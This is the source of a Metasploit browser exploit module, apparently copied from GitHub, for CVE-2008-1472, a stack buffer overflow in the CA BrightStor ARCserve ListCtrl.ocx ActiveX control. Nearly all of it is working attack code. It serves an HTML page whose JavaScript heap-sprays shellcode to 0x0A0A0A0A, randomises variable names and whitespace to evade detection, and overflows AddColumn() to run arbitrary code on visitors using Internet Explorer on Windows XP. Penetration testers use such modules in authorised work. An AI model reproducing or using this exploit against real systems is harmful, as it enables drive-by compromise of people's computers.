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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb
Views: 11783
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##

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# This module requires Metasploit: https://metasploit.com/download

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# Current source: https://github.com/rapid7/metasploit-framework

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##

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class MetasploitModule < Msf::Exploit::Remote

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  Rank = NormalRanking

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  include Msf::Exploit::Remote::HttpServer::HTML

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  def initialize(info = {})

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    super(update_info(info,

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      'Name'           => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',

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      'Description'    => %q{

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          The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based

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        buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker

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        could overflow a buffer and execute arbitrary code on the system.

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      },

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      'License'        => MSF_LICENSE,

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      'Author'         => [ 'dean <dean[at]zerodaysolutions.com>' ],

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      'References'     =>

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        [

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          [ 'CVE', '2008-1472' ],

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          [ 'OSVDB', '43214' ],

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        ],

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      'DefaultOptions' =>

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        {

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          'EXITFUNC' => 'process',

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        },

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      'Payload'        =>

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        {

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          'Space'         => 1024,

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          'BadChars'      => "\x00",

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        },

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      'Platform'       => 'win',

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      'Targets'        =>

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        [

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          [ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]

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        ],

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      'DisclosureDate' => '2008-03-16',

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      'DefaultTarget'  => 0))

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  end

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  def autofilter

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    false

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  end

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  def check_dependencies

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    use_zlib

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  end

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  def on_request_uri(cli, request)

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    # Re-generate the payload.

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    return if ((p = regenerate_payload(cli)) == nil)

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    # Encode the shellcode.

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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

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    # Create some nops.

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    nops    = Rex::Text.to_unescape(make_nops(4))

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    # Set the return.

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    ret     = Rex::Text.to_unescape([target.ret].pack('V'))

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    # Randomize the javascript variable names.

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    vname  = rand_text_alpha(rand(30) + 1)

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    var_i  = rand_text_alpha(rand(5) + 1)

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    rand1  = rand_text_alpha(rand(100) + 1)

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    rand2  = rand_text_alpha(rand(100) + 1)

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    rand3  = rand_text_alpha(rand(100) + 1)

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    rand4  = rand_text_alpha(rand(100) + 1)

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    rand5  = rand_text_alpha(rand(100) + 1)

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    rand6  = rand_text_alpha(rand(100) + 1)

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    rand7  = rand_text_alpha(rand(100) + 1)

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    content = %Q|

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    <html>

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    <object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>

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      <script>

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      var #{rand1} = unescape("#{shellcode}");

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      var #{rand2} = 0x0A0A0A0A;

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      var #{rand3} = 0x400000;

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      var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};

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      var #{rand5} = unescape("#{ret}");

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      var #{rand6} = 128;

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      while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};

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        #{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);

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        #{rand7} = new Array();

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        for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};

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          while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};

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            #{rand5} = #{rand5}.substring(0, #{rand6});

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            #{vname}.AddColumn(#{rand5}, 1);

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      </script>

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    </html>

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      |

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    content = Rex::Text.randomize_space(content)

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    print_status("Sending #{self.name}")

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    # Transmit the response to the client

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    send_response_html(cli, content)

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    # Handle the payload

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    handler(cli)

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  end

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end

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